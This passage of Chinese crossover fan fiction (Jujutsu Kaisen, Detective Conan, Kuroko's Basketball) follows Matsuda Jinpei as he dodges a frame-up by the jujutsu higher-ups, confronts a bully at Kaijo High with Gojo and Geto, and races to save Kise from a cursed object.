就在此时,“帐”突然震动了一下。
瘦高男人回头。
是一把半掌长的螺丝刀插在了“帐”上。
原来如此,投掷烛台只是障眼法,真实目的是用左手中藏起来的螺丝刀攻击“帐”吗。
他抬起手中的刀,直指松田阵平:“现在,你没有任何东西可以再做抵抗了。”
松田阵平无所谓地笑笑:“谁知道呢。”
二人同时冲向对方。肋差与少年的右拳同时亮起幽幽蓝光。
松田阵平的卷发被极速流动的空气吹直了些许,露出他睁大的双眼,凫青色的眼底闪着细碎的金光。
还差一击!
“嘭”的一声,拳头与肋差相撞。黑红色的闪电将银色的刀刃击得粉碎。
但他丢出的小扳手同时被瘦高男人抛出的刀鞘阻挡住,在击中“帐”前便落在地上。
瘦高男人皱眉:“别想逃。”
松田阵平轻啧一声。
果然再用同一招偷袭会被看穿。
那么,还是先把对面这个男人打爆再去解决“帐”好了。
他沉下呼吸,摆出了相当专业的拳击姿势。
然而就在这时,“帐”突然被从外面打破了。
一道轻快的声音传来:“真让你说中了啊,阵平。”
8. 缝缝补补第八针
“真让你说中了啊,阵平。”
踩在两个和服男人身上的白发少年一推架在高挺鼻梁上的墨镜,露出大半只璀璨的苍天之瞳,语气轻快地冲着站在和室门口的卷发少年说到。
松田阵平放松下来,右手收回裤兜,转身向五条悟走来:“我也只是推测而已,谁知道上面的老头子们真玩这么脏。”
=======
昨夜。
男女生宿舍楼的前分叉路口,与家入硝子告别后的三人懒懒地朝男生宿舍走去。
五条悟和夏油杰还在咔嚓咔嚓地咬着山药豆糖葫芦和韩式炸鸡糖葫芦。
突然,平静的气氛被走在两人身后的卷发少年打破。
“总监部可能有人要搞我。”松田阵平冷不丁地说。
走在他前面的两个少年同时回头看他。
“什么?搞你?因为那个加茂家的死人?怎么得出的结论?”五条悟嚼着糖葫芦,嘴里含含糊糊地说到。
“两种方式得出的结论。”松田阵平竖起一根手指,“第一,靠推理。Spirit公司的事情能被隐瞒这么久,上面绝对有人参与了,我怀疑今天暗中出手的那个人就是关联者之一。而他忌惮我的术式,所以才不敢接近我。那个人很有可能会借助上头的手来解决我。”
他顿了顿,接着竖起第二只手指:“第二,直觉。”
五条悟和夏油杰的表情同时开始变得严肃起来。
五条悟点头:“合理啊合理。毕竟阵平的直觉可是比肩黑O党那边的超O感的。这难道就是黑//道脸自带的加成效果?”
松田阵平半月眼看他:“你少看点少年漫。”
五条悟不满:“这明明是真的嘛,意呆那边确实有个黑O党家族有祖传的超O感。”
夏油杰拿着吃完了的糖葫芦棍子,托着下巴沉思:“有道理。毕竟非术士家庭出身的高专新生被总监部叫去谈话是惯例,那个人很有可能会利用这个机会,借助总监部的力量对你做些什么”
松田阵平点头:“在此之前,他一定会找借口把你们两个调走,让我没有外援。”
五条悟咬下最后一颗山药豆:“调虎离山吗。”
说着话,三人已经走到了宿舍二楼。
夏油杰:“总监部如果叫你过去,你多小心。我和悟最近也尽量留一个在高专内部。”
五条悟推开自己宿舍的房门:“要坚持到我或者杰回来哦阵平。”
说罢摆了摆手,关门回屋了。
夏油杰也冲松田阵平点了点头:“尽量拖住就好。晚安了,松田。”
松田阵平跟他互道晚安后也进屋关门。
======
“我就说怎么今天凌晨五点就把我和杰喊起来出发去长野。这帮老橘子真是连一晚都等不了啊。”五条悟从他踩着的两个和服男人身上蹦下来。
松田阵平哂笑一声:“我也没想到天还没亮就有人来敲我的门。算上伪造证据,老头子们通宵也不怕猝死啊。”
五条悟浮夸地叹了口气:“都怪咒力帮他们强身健体了。”
松田阵平:“夏油没跟你一起回来?”
五条悟带着松田阵平转身准备离开:“杰还在去长野的车上,我中途用买早饭的借口先下车了。他用咒灵制造了我还在那辆车上的幻像。”
说罢,他的手机响了两下。是夏油杰发来的简讯。
五条悟快速浏览完,对身旁的松田阵平说:“长野那边只是个二级咒灵。”
松田阵平撇嘴:“二级咒灵叫两个一级术士去祓除,真是演都不演了。”
二人边蛐蛐上层,边往食堂走去。
身后传来一道平淡的声音:“五条悟,你要放走被判处死刑的一级诅咒师松田阵平是吗。”
是那个瘦高男人。
自从五条悟出场,一言不发的男人终于出声了。
“你回去问问那几个老东西,是在质疑我的‘六眼’吗?”五条悟回头,表情极为冷淡,“不想死的话,就不要插手高专的事。”
瘦高男人看着少年半露出来的那双充满神性的璀璨蓝眼,不再言语,目送二人离去。
======
与此同时,长野县,某处森林外围。
夏油杰发送完了短讯,打开“帐”走出去。
本田站在黑色的商务车前,对他鞠了个躬:“辛苦了,五条同学,夏油同学。”
夏油杰瞥了一眼身旁的“五条悟”,对本田说:“‘窗’的情报有误,这只是个二级的山神咒灵而已。”
本田小吃一惊:“‘窗’那边给出的任务信息是特级咒胎,竟然会差这么多。”
怪不得今天五条同学一直不说话,表情还冷冷地,大概是凌晨被喊起来出任务,结果是个小趴菜,所以生气了吧。
本田内心流着宽面条泪想到。气氛好可怕呜呜。
夏油杰打开车门上车,身边的“五条悟”——特级假想怨灵·化身玉藻前——也跟上车坐好。
本田启动车子回高专。
路边的树影随着车子的前进飞速后退,林间的雾气渐渐被日光驱散。
夏油杰看着郁郁葱葱的树林,突然开口:“本田,你是不知情的,对吧。”
本田疑惑:“什么?夏油同学你是说这次的情报误判吗?”
夏油杰沉默了片刻,回到:“没什么。”
本田疑惑地挠挠头,虽不解,也没有再问什么。
车子里再次陷入沉默。
======
松田阵平入学咒术高专的第一天,在“上课-和同学互殴-认识学弟-殴打学弟”中平平淡淡地度过。
要问他高专生活第一天什么东西最印象深刻的话。
松田阵平:三七分学弟不仅头发是三七分,姓氏和术式也是三七分欸。
次日清晨,日常跑完十公里的卷发少年擦着汗回男生宿舍。
今天是周六,高专不上课。总监部那边他的嫌疑还没解除,五条悟昨晚提交的报告现在还没有回应,估计今天也不会给他派任务。
去找黄濑问下调查结果好了。
手速奇快地发完了短讯,松田阵平将手机重新揣回裤兜,同时推开男生宿舍的楼门。
一名辅助监督打扮的年轻女性正带着他的三七分学弟和蘑菇头学弟迎面走来。
松田阵平打了个哈欠:“七海,灰原,有任务?”
七海建人冲他鞠了个躬:“松田前辈,日安。”
一旁的灰原雄元气满满地解释:“早上好啊!松田前辈!‘窗’观测到东京市内有所初中有三级咒灵出现,我和七海被喊去解决掉它。”
松田阵平一顿:“学校?稍微等我十分钟,我和你们一起去。”
说罢,他三步并作两步,飞速跨上二楼的楼梯,消失在走廊里。
七海建人与灰原雄两两相望。
灰原雄:“松田前辈真是好热心!”
七海建人挑了挑眉,没有言语。
不到十
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分钟,头发半湿的卷发少年边系外套的扣子边从二楼走下来。
“走吧。车上给我详细说说任务情况。”松田阵平抻了抻衣袖,一马当先地走出宿舍楼。
一小时后,黑色商务车停在东京市区的一所初中门口。
松田阵平面色古怪地下车,眺望整座校园。
帝光中学校。
一所都内都很有名的私立中学。
不仅偏差值极高,运动类社团的实力也非常强劲。
黄濑那个“奇迹的世代”就是从这里出来的。
但是,令松田阵平面色诡异的原因并不在于此。
而在于,在D世界,这里是降谷零和诸伏景光的高中所在地。
甚至学校的名字和建筑物也一模一样。
至于他为什么知道。
松田阵平干笑,拆弹警察最常去的现场就是学校、医院这种人流量密集的场所。
大概因为每个炸弹犯都想整个大的吧。
说起来,D世界的帝光是高中,这里却是初中。
不过名门私立学校的名头倒是一模一样。
毕竟是那个金表组(东大毕业的职业组警察)的金发混蛋的母校嘛。
“前辈,我和七海先进去了。”跟在他身后下车的灰原雄和七海建人走进校园。
一旁的辅助监督吟诵咒言,紫黑色的“帐”缓缓落下。
松田阵平也慢慢悠悠地跟在两个学弟后面走进“帐”内。
事件解决的十分顺利。
那是从学生的学业压力中生出的三级咒灵,七海建人和灰原雄配合默契的迅速解决掉了它。
松田阵平也放下了心中对帝光中学也被牵涉进Spirit公司事件的怀疑。
他跟三人告别后,独自来到了帝光中学附近的一处街头篮球场。
黄濑今早说他上午会在这里等他。
现在还不到九点,清晨的寒意在空旷的篮球场上四溢。与寒意一起充斥着球场的还有篮球拍打地面的砰砰声。
黄发少年身着白色休闲服在场内独自运球、上篮。
松田阵平路过了一个正背身打电话的红发少年,走进球场。
“黄濑。”松田阵平喊住刚刚完成单手上篮动作的黄发少年。
黄濑凉太回头:“啊,松田,你来了啊。”
球场外打电话的红发少年抬起蔷薇红的眼眸,扫过场内低声交流的二人。
“……大体情况就是这样。和他同班的中村前辈说他之前明明是个非常努力,但无论学习还是运动都没干出什么成绩来的乖乖生,最近却突然变成校园不良头头,真的很怪。”黄濑凉太拍着球对松田简要说明了自己昨天一天收集的情报。
松田阵平点了点头:“谢了,黄濑,帮了大忙。有空请你吃饭。”
黄濑凉太挑挑眉,笑着说到:“吃饭就不必了,你来看我的篮球赛吧。”
松田阵平无奈:“你还没放弃让我加入篮球社吗,我都转学了。”
黄濑凉太哈哈大笑:“你这身体素质和运动神经不打篮球可惜了,虽然转学没法加入篮球社,但是我们可以one on one嘛。”
松田阵平握拳捶了黄濑凉太的肩膀一下:“好了,你下次比赛我会去看的。”
黄濑凉太听他这么说,突然兴起,想要教他两招,试图以此唤起松田阵平对篮球的热爱。
就在此时,球场入口处传来一道柔和却略带清冷的声音:“凉太,时间差不多了。”
9. 缝缝补补第九针
刚刚在外面打电话的红发少年走进来,对松田阵平颔首,又对黄濑凉太说:“真太郎他们已经到了,是时候过去和他们会和了。”
“知道啦~小赤司。”黄濑凉太闻言抱起篮球,边冲红发少年走边回头与松田阵平告别:“那下次再约,我先走了,松田,拜~”
松田阵平单手插兜站在篮筐下,目送黄濑凉太与赤司征十郎远去。
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两天的周末,在松田阵平“逛街买点感兴趣的小东西-顺手弹飞路人肩上的低级咒灵×N-回高专宿舍做手工活-每天固定三次殴打学弟”中平淡度过。
周一上午九点,高专二年级教室内。
清晨微暖的阳光斜斜地透过教室的窗户,打在卷发少年的身上。在这个应该忙碌的周一上午,毛茸茸的光给少年带来了几分不同的懒洋洋。
松田阵平面前的木质课桌上,摆着密密麻麻的电子元器件和小工具。
这节原本是夜蛾正道的课。
可是上课铃已经响了半个小时,教室内还是只有松田阵平一人。
无论是任课教师还是其他学生,全部都逃课了。
卷发少年拆完上周末在秋叶原买的二手掌上电脑,轻轻地叹了口气。
咒术师还真是忙啊,工作强度比他之前做警察时还高。
而且还非法使用童工。哪怕法律放开了对十五岁以上未成年人工作的大部分限制,但像咒术师这种危险有害作业和深夜劳动也是被绝对禁止的吧。
他支颐着下巴,右手转着小扳手。目光懒懒地扫过教室内其余三套桌椅。
五条悟和夏油杰已经两天没见到人了,据说是去北海道和关西出任务去了。
家入硝子昨天吃晚饭时被喊去救治伤员,现在还没回来。
夜蛾正道上周五凌晨被叫去国外出差,昨天回来才知道松田阵平的事。很显然,他出差是被人故意引开的。得知新生差点被诬害,这位即将上任的高专校长满脸严肃、头发竖起地去千代田区的总监部了。
下节课好像是高一的体术课,干脆去完成下今天进度还只有1/3的殴打学弟任务吧。
松田阵平双手并用,速度奇快地重新将二手掌上电脑组装好。
而后一推桌子,站起身来伸了个懒腰,朝教室外走去。
======
半个小时后,高专操场上。
一拳击飞了蘑菇头学弟的松田阵平回到操场边,捞起一瓶水猛灌几口:“进步飞快啊灰原,都能撑过一分钟了。”
飞出去五米远的灰原雄挣扎着爬起来,一瘸一拐地回到操场边,把自己整个人瘫在草地上。
七海建人已经在这里不声不响地瘫了好久。
灰原雄:“多亏了松田前辈这几天的指导!感觉前辈教的比体术老师容易理解多了!”
松田阵平挑了挑眉,嘴角勾起一抹笑意:“高专的体术老师还是太弱了点,你们跟着他学不如跟着我和五条夏油学。”
灰原雄感动地看他:“那就麻烦前辈们啦!”
一旁的七海建人叹了口气:三个前辈一个比一个打人痛。
第二轮指导很快开始。
这次是一年级的两个男生一起上。
灰原雄飞速被锤下场,七海建人还在苦苦抵抗着对面狞笑着拳拳都朝他面门挥来的前辈。
“呀,各位上午好啊。”操场边突然传来一道轻佻的声音,“给你们带了北海道的夕张蜜瓜哦。”
松田阵平扭头看向操场边一手提着蜜瓜一手向他们挥手的白发少年,手中的力道一个没收住,可怜的三七分学弟就被一拳打在脸上,飞了出去。
“啊,抱歉七海,一不小心用力过猛了。”松田大大咧咧地笑了下,对着飞出去七八米的学弟道歉。
七海建人躺在地上,捂着肿起来的左脸,语气丧丧的说到:“前辈怎么这么喜欢打我的脸。”
松田阵平挠了挠后脑的卷毛,有些心虚地解释:“看见你的金发就一个不小心……哈哈,下次注意。”
话音未落,操场边的五条悟已经走到在操场上躺尸的学弟们身边,弯腰附身,露出蓝眸,仔细观看学弟们被殴打后的惨状:“被打得蛮惨的嘛哈哈哈。”
说完,从裤兜里掏出手机,打开相机,对着两个鼻青脸肿的学弟连拍几张,又噼里啪啦地编辑完短讯:“嗯,给杰也看看。”
七海建人脑门蹦出青筋。
娜娜米:生气,但隐忍.jpg
发完简讯后,五条悟又从手机中调出一封今晨收到的邮件,转手将屏幕亮给松田阵平:“总监部那边出结果了,以‘窗’的工作人员调查失误为借口,被老橘子们糊弄过去了。”
松田阵平啧了一声:“果然如此。虽然有五条家的施压,但是自查能有结果才见鬼。”
“夜蛾是去要说法了吧,应该也没什么用。”五条悟表情渐渐冷淡,“干脆把涉事的几个臭老头抓过来逼供下。”
松田阵平摆了摆手:“先别打草惊蛇,我们自己先查一查,找到关键证据再一击毙命。”
五条悟扬了扬眉:“我家里老头子说Spirit公司的调查结果大概还需要三四天才能出来。”
松田阵平托着下巴,沉思了片刻。随即眼神上下扫视了五条悟周身一圈:“你是不是没穿过西式校服?要不要试试?”
五条悟疑惑地偏头:“嗯?”
======
十分钟后,松田阵平的宿舍内。
“阵平——”站在等身镜前的高个白发少年抱怨道,“裤子有些短欸——”
镜中映出的,是身着一身浅灰色西式高中制服的五条悟。
剪裁良好的灰色制服熨帖地贴合着少年挺拔劲瘦的肩背,白色衬衣最上方两颗扣子未系,少年精致的锁骨半遮半露,深棕色的领带松松垮垮地挂在颈间。同色的西装裤裹着少年笔直的长腿。裤腿有些短了,露出一小段苍白的脚踝。
一旁穿着同样式制服的松田阵平脑门青筋直蹦:“你就将就下吧,谁让你比我高七八厘米。”
是的,五条悟身上穿着的正是松田阵平的海常高中制服。
头回穿西式制服的五条悟看着镜中的自己,目露新奇地扭来扭曲。
“夏油不是快回来了吗,要不你让他给你带套合身的灰色西装回来。”松田阵平给自己系上领带,边调整边开口,“反正海常的校服就是样式很普通的灰色西装,上面也没有校徽。”
五条悟
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摸了摸下巴:“有道理。”
说完他掏出手机对着镜子里的自己进行了一个十八连拍,又一股脑地给夏油杰发了过去。
附言:“悟samaのOOTD!”
夏油杰秒回:?
五条悟:杰你回来带两套你我尺寸的灰色西装哦,我身上这个样式的就可以。阵平说带我们去友校联谊!
夏油杰:?
大阪直达东京的新干线上,黑发少年看着手机中友人发来的照片,陷入沉思。
友校?联谊?和京都咒术高专有什么好联谊的?
难道在他外出的这两天里,京都咒术高专那个据说很嚣张的禅院家小鬼惹到松田了?所以决定带兄弟们去围殴一年级小鬼?还是要去京都砸场子?
砸场子穿西装干什么?松田奇怪的癖好吗?还是他们道上的规矩?找回场子要穿道上的制服?
完全搞不懂啊他。
因为用咒灵欺骗辅助监督,今早刚被夜蛾老师打电话来骂了一顿,让他最近老实点。
还不到两个小时,黑发少年就收到了友人们的搞事邀请。
哈哈,管他呢。船到桥头自然直.jpg
才出差两天,回家就要面对家里猫狗搞事的夏油杰,露出了疲惫的笑容。
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“只是去海常调查啊。”带着两套灰色西装赶回来夏油杰长舒一口气:“我还以为是禅院直哉那小子惹到你了,你们准备去京都咒术高专踢馆。”
松田阵平疑惑:“禅院直哉?那谁?而且踢馆为什么要穿西装?”
五条悟拽了拽新换上的灰色西装裤,满意地点点头:“禅院家下一任家主啦,实力一般但莫名傲慢的小鬼。遇见他说屁话揍一顿就好了。”
夏油杰摸了摸鼻子:“我还以为是你们道上的规矩,穿西装踢馆什么的。”
松田阵平无语地看他:“都说了我不混黑//道,这个破梗你们还要玩多久啊。”
五条悟重新打上领带:“杰也快去换衣服啦,再不去海常就要放学了。”
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一小时后,横滨,海常高等学校后方的一处三米高墙处。
松田阵平率先踩着墙壁翻入校园:“都说了我能带你们从正门进去,干吗非要翻墙。”
五条悟助跑几步,轻松一跃也跳了进去:“秘密调查就要有秘密调查的样子嘛。”
身着灰色制服、意外有种优等生气质的夏油杰踩着脚下的咒灵,左手攀着墙头,腰腹一用力,也顺利落地:“直接从正门进去确实有些明显。”
三人进入校园相差不过两秒,几乎落地的同时,四大两小的眼睛齐齐向左侧三米处望去。
在三米开外,一名戴眼镜的瘦弱男生正被一名高大健壮的男生按在墙壁上。二人四周书包、课本、纸笔散落一地。
“哇哦。”五条悟挑了挑眉,“刚来就看到校园霸凌啊。”
松田阵平掏出手机点开黄濑发来的邮件,将邮件中附着的照片与正欺负人的高大健壮男生对比了下。
而后他收起手机,揉着拳头,狞笑着冲男生走去。
“哟,这不是传说中把我打到退学的横野老哥吗。”
找的就是你。
10. 缝缝补补第十针
晚春四月,高中校园,今年最后一波盛开的樱花从枝上缓缓飘下,落在树下挺拔英俊的少年肩上。
这么经典的少女漫画面,享受着美貌DK壁咚的却不是可爱的JK。
浑身肌肉虬结的一米八大汉刚刚在这里按着一个瘦弱的眼镜仔。现在,他被以相同的姿势按在同一面墙壁上。
松田阵平提着他的衣领,狞笑着开口:“在学校里造我的谣,你很敢啊,横野。”
“松田,怎么是你,你不是转学了吗?”横野被他拽得呼吸有些不畅,脸色通红。想要甩开卷发少年制住他的手,却怎么也挣脱不开。又看到松田阵平身后两个近一米九、戴着墨镜、气势冷峻的西装少年,横野逃跑的心思终于消失。他只好好声好气地讨饶,“不是我造谣你的,我也不知道怎么就传成你被我霸凌到退学了。”
松田阵平看着他飘忽不定的眼神,哼笑一声,伸手用手背拍了拍横野的脸颊:“给我老实一点,你不会以为我不敢揍你吧。”
说罢,他抬手握拳,轻轻捶了横野身后的墙壁一下。
横野微微侧头,看着脸庞被轻轻一拳锤凹下去七八厘米的墙面,脑门冷汗直冒。他神色紧张地咽了口唾沫,哆嗦着开口:“我,我只是想借下你的势而已。能把那个凶恶的松田阵平霸凌到退学,大家也会高看我一眼的。看在没给你造成什么损失的份上,你就原谅我吧!”
松田阵平眯起双眼,语气更加凶恶:“哦?借我的势?让别人高看你?你想干什么?在学校里组建不良势力吗,嗯?”
横野结结巴巴:“我、我只是想在毕业前做出点成就来,好让别人记住我而已。”
一双大手突然越过松田阵平,擦着他的卷发握住横野的脑袋。横野被这双手的力道握得头顶生疼。
“我说,这小子这么不老实,干脆打断手脚沉东京湾吧。”面色冷漠的白发少年突然露出个血腥的笑容。
黑发少年慢悠悠地说:“污染海洋环境多不好,港口那边正好在建新大楼,还缺个生桩,就他了吧。”
横野的冷汗流得更快了:“我、我真的没、没有。”
松田阵平松开提着横野衣领的手,后退一步,整理了下微皱的衣领和衣袖,面色冷漠地吩咐:“五条、夏油,去做事。”
失去桎梏的横野整个人顺着墙壁滑落在地。看着挑了挑眉冲他走来的白发少年,他突然崩溃大喊:“是路易斯校董让我做的!他说、他说我照他说的做,就能拿到滨大的推荐入学名额。”
五条悟停住脚步,三人站在原地安静听着横野涕泗横流地大喊。
“我和你们不一样,我明明都那么努力了,无论学习和社团却还是默默无闻,连入部一年的学弟都不记得我的名字。”横野突然抬起哭得通红的双眼,恨恨地盯着松田阵平,“只是个一年级的小鬼,凭什么入部四个月不到就能拿到全中冠军!”
松田阵平沉默片刻,开口:“那个路易斯叫你做什么。”
横野哽了下,低声回答:“他叫我去霸凌他挑选的几个学生,最好能把他们逼到退学。”
夏油杰皱眉:“为什么?”
“我不知道,我只是照做而已。”横野露出了个苦笑,“那几个学生平时都是很孤僻的性格,路易斯校董可能看不惯这种人吧。”
松田阵平:“你有保留和路易斯交流的证据吗?”
横野:“每次见他都要被收手机,不过我有带备用机录过一次。”
松田阵平上前提起他:“走吧,去警局。”
横野面露惊恐地挣扎起来:“我不要去警局,你、你想毁了我的人生吗!”
松田阵平抬手,一手刀劈在他的后脖颈上:“是你自己毁掉了自己的人生。”
横野瞬间瘫软在地。
松田阵平上下摸了摸横野周身,从他外套内侧的口袋中拿出两部手机,又从其中一部手机中翻出录音,转发给自己的邮箱。
随后他将手机塞回横野衣兜,单手架起昏迷的少年,想要翻墙出去。
夏油杰突然开口:“报警无用,咒术界的事警察无法插手。”
“所以呢?放过他不管?做错了事总要受到惩罚,他这种程度咒术界根本看都懒得看吧。”松田阵平回头看他:“咒术界的事情由咒术师解决,普通人的事情由警察解决。祓除咒灵这种普通人做不到的事,由咒术师去做。霸凌、教唆霸凌、非法入学,咒术师解决不了或者不想解决的事情由普通人警察去解决。”
卷发少年抡起昏迷的横野,将其扔到空中四五米高,随即他抬脚一踏墙边的樱花树,猛地跃上三米高墙,待在墙头站稳,右手一伸接住落下的横野。
凫青色的眼瞳居高临下地看着下面带着墨镜的二人:“咒术师和警察就像是无数彼此咬合才能转动起来的齿轮中的两个,只是社会分工不同而已。”
说罢,提着横野蹦下墙头,往横滨警局方向走去。
夏油杰沉默了片刻,翻过墙跟他一起去了。
五条悟耸了耸肩,跟着跃出高墙。对着松田阵平抱怨:“我们连海常校园都没进去五米欸,就这么走了?我还想看看几百人的学校上课和社团活动有多热闹呢。”
松田阵平无奈:“下次海常学园祭再来吧。今天先去警局,如果能把那个路易斯校董引出来,我们可以顺藤摸瓜摸去Spirit公司的核心。”
夏油杰突然开口:“这样的话那些警察可能会有危险。”
松田阵平挑眉:“话说回来,我一直觉得很奇怪,警察,或者公安里面为什么没有具有咒术能力的人。”
五条悟仰头想了想:“唔……一种共识吧。有咒术能力的人默认会成为咒术师,实力差一点的也是去做辅助监督或者‘窗’,基本没人会选择普通人的职业。”
“原来如此,路径依赖吗。”松田阵平点点头,转头看向夏油杰,“如果警察或者公安中有具有咒术能力,且立场是公权力一方的人,这种事情就可以交给他们去协调处理。有了公权力的制衡,总监部也不会像现在这么嚣张。”
夏油杰皱眉:“但是现在没有。”
“现在没有,以后会有。至于现在嘛,”松田阵平笑了笑,冲着五条悟一扬下巴,“‘神子’大人,请吧。”
“嗨,嗨。”五条悟打了个响指,掏出手机,拨通了五条家某位长老的电话,“悟大人会满足信徒的所有愿望。”
三人偷偷地潜入横滨县警察本部,把横野和写满事件经过的信丢在伊藤警部的办公室,又嚣张地从大门离开。
三人原本计划去松田家煮寿喜锅吃,没想到刚进超市,五条悟和夏油杰就同时收到了任务短讯。
白发少年恨恨地在货架上扫了一大推零食和甜点,提着大包小包去赶新干线了。
夏油杰拿了几个饭团,准备开虹龙前往任务地点。走之前他犹豫地看了松田阵平一眼,似乎还是有什么话要说。
松田阵平撕开饭团,边咬边疑惑地看着他:“怎么了?”
“……没什么。”黑发少年低声答道,随即抬了抬嗓音,问他,“松田你是准备在横滨等警局那边的结果吗?”
松田阵平点了点头,敲了敲左耳带着的耳机:“我刚刚在伊藤警部桌子下面贴了个窃听器,有消息能第一时间获知。不会让那个叫路易斯的逃走的。”
夏油杰颔首,和他告别后召唤出虹龙远去。
======
晚上八点,刚四月底已经在备战七月InterHigh的海常篮球部终于结束了今天的部活。
更衣室里挤满了一米八一米九的强壮男生。
“黄濑前辈,这个是你那个朋友吧。”一名一年级的新部员举着自己的手机凑到黄濑凉太面前。
衬衣刚穿了一个袖子的黄发少年低头瞥了一眼学弟的手机屏幕。
上面是一张有些模糊的照片。
樱花树下,三
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个身着海常全套制服的高个少年将一名肌肉男抵在墙壁上。最前面那个卷发少年正狰狞着一张俊脸提着肌肉男的衣领。后面两个近一米九的少年带着墨镜,规规矩矩地站在卷发少年的背后。
整张照片完美还原了黑//道大哥带小弟威胁校内普通不良的场景。
黄濑凉太沉默地看着照片,缓缓睁大了眼睛,自带眼线的双眼里露出满满的震惊。
他猛拍了学弟的背几下:“喂!远坂,把照片发给我。”
说着他快速套上衬衣,系上扣子,从储物柜里翻找手机。
几位前辈喊他一起回家,他边给友人发短讯边跟前辈们往校外走去。
黄濑凉太:你今天回学校了?
松田阵平的回复很快:?你怎么知道。
黄濑凉太:附件:照片.jpg
松田阵平:?
松田阵平:啊,是那个眼镜仔拍的吧。
黄濑凉太:你回来收拾横野啊?他怎么样了?
松田阵平:送去警局了。具体情况后面警察调查清楚应该会通报。
黄濑凉太:这么严重?果然之前校内的传言不对劲。
“黄濑,要吃肉包吗?”身旁的几位前辈停下脚步,指着便利店对黄发后辈说。
“吃……”黄濑凉太从手机中抬起头,摸向身后的背包,想要拿出钱包。
可是他却摸了隔空:“啊!忘记拿包了!”
他转身往学校跑去,边跑边对便利店门口的几人招手:“前辈们不用等我了,我回学校拿下包。”
八点多的海常校园里已经没有学生和老师,保安也刚刚巡逻完一圈回到校门口的传达室。
黄濑凉太跟保安大叔打了个招呼,独自一人进校,往体育馆走去。
松田阵平的短讯继续发来,跟他简单说明了横野的所作所为。
黄濑凉太:校董?校董干吗教唆学生搞霸凌啊。我逐渐不理解一切.jpg
松田阵平:总之,你最近在学校注意一点,觉得有什么地方奇怪就告诉我。
黄濑凉太打开体育馆的大门,从一侧的楼梯走上二楼走廊,进入走廊尽头的更衣室内。
他单手按开电灯开关,一边跟松田发短讯一边走向自己储物柜。
储物柜的门虚掩着。
我刚刚连储物柜的门都没有关吗?
黄发少年内心疑惑。
他抬手打开柜子。
内里摆放有些凌乱的储物柜正中放着一个深红色的木盒,木盒被发黄的布带缠绕着,布带上似乎用黑色的墨水写着什么看不懂的文字。
这是什么?
黄濑凉太偏偏头。
是哪个女生放进来的礼物?长得好怪。哥特系或者地雷系女孩子送的礼物?
他笑了一下,觉得有些意思,抬手拍了张照片给松田阵平发送过去。
黄濑凉太:我现在就看到个很怪的东西哈哈。
他伸手想要提起木盒,不想发黄的布带十分脆弱,稍一用力便断裂开来。
木盒掉下来,摔开了一条缝隙。
室内温度似乎变低了一点。
黄濑凉太打了个哆嗦,觉得还是从柜子里拿出外套来穿上。
突然,一道铃声响彻更衣室。
黄濑凉太看向手机,是松田阵平打来了电话。
他笑着接起电话:“怎么了,松田,那个盒子是不是很——”
未等他说完,电话那头突然传来少年焦急的暴呵:“黄濑!别碰它,快离——”
“嘟——嘟——嘟——”
电话信号被突然切断。
与此同时,更衣室的顶灯闪烁了几下,随即猛地熄灭。室内温度骤降,窗户上霜花开始蔓延。
黄濑凉太僵在原地,一动不动。他握着传来嘟嘟声的电话,手臂上冒出一层细密的鸡皮疙瘩。
他的后脖颈处,突然感受到了冰冷的呼气。
11. 缝缝补补第十一针
哪怕是天气晴朗的夜晚,在如横滨这般的城市里,也是看不到星星的。
松田阵平拿着一罐咖啡,靠坐在横滨县警察本部楼下的一处公共座椅上,抬头仰望着星空。
唔,或许海边可以?
他记得高中时和hagi一起去海边烧烤,夜晚好像是能看到星星的。
卷发少年仰头喝完最后一口咖啡,街边路灯昏黄的光打在他那因吞咽而不停上下滑动的喉结上,少年皮肤上细细的绒毛被镀上了一层金光。
裤兜里的手机突然振动了一下,松田阵平将手中的咖啡罐握成一个铝球,随手丢进后方三米远的垃圾箱内。他掏出手机,按开屏幕。
是黄濑凉太发来的简讯。
下面还附了一张有些模糊的照片。
松田阵平无语地看着照片中十分标准的黑//道出巡场景,回了黄濑凉太几句。
也不知道夏油杰从哪里掏出来的墨镜,这下子他在海常的风评估计更奇怪了,明天怕不是会传出他退学是为了回老家继承黑//道家业的传闻。
一边窃听着伊藤警官办公室内消息一边和黄濑凉太闲聊的松田阵平枕着手臂,仰躺在长椅上。
刚叮嘱完黄濑凉太海常校园有什么异常记得告知他,对面的篮球部主将就发来了一张新的照片。
不会又是什么松田哥带着五条弟和夏油弟出巡的偷拍照吧?他半月眼地点开短讯的附件照片。
凫青色的眼瞳在照片刷出来的一瞬间定住。
松田阵平看着深红色木盒和写满咒言的布带,脑内警报声大作。
不妙!
非常不妙!
这东西极度危险!
他猛地站了起来,用最快速度跑向海常高校。看都没看手机屏,手指快速按了几个按键,拨通了黄濑凉太的电话。
电话很快被接通,对面传来少年带着笑意的声音:“怎么了,松田,那个盒子是不是很——”
松田阵平没等他说完,对着话筒大吼:“黄濑!别碰它,快离开那里!”
他的话还没说完,听筒中就只剩下“嘟——嘟——”之声。
“可恶!”他愤怒地挂掉电话,左右看了看,踩着右边的矮墙蹦上路边一户建的屋顶,一路跳着屋顶,抄小路向海常高校跑去。
微冷的晚风刮过极速前进的少年的脸庞,他蓬松的卷发随着蹦跳的动作上下翻飞。
刚刚那个咒物是在储物柜里,柜子里有海常篮球部的队服,黄濑应该是在体育馆内的更衣室!
松田阵平又掏出手机给五条悟和夏油杰发去了两条仅写了地址的简讯。
到了,海常!
卷发少年迎着月色猛地一跃,矫健的身影仿佛被定格在清冷的月辉中一瞬。
他轻巧地落在校园内的石板地面上,像是一只正在捕猎的猫科动物,没有发出一点声响。
松田阵平缓缓站起身来,四处张望着。
是那边!
学校东北方向传来阴冷的咒力。
他再次快速奔跑起来。
前方,体育馆安静地立在黑暗之中,周围没有任何声响。似乎连虫鸣声都消失了。
松田阵平在大门前猛地停住,深吸一口气,抬手推开金属大门,踏入馆内。
身后没有传来门关闭的声音。
门内不是黑暗的篮球场,而是阳光明媚的教室。
松田阵平的双眼被突如其来的亮光刺激地溢出了一点湿润,他闭起眼缓了片刻。
身旁传来一道清越的声音。
“你就是松田吧?你好啊,我叫黄濑凉太,分组表上我们是课程和值日搭档哦。”
他睁开双眼,面前是正开朗地冲他笑着的黄发少年。
======
怎么回事?
那、到底是什么东西?
黄濑凉太手中握着一枚篮球,躲在体育馆内存放篮球赛录影带的影音室内。
他努力控制住急促的呼吸,但是心脏的砰砰声还是在脑海里回荡。
刚刚在更衣室内,察觉到自己身后有什么东西的黄发少年,猛地转身将手中的包丢向身后,而后看都不正眼看那东西就夺门而出。
但是他转身时,眼睛的余光还是不受控制地扫过了那个东西。
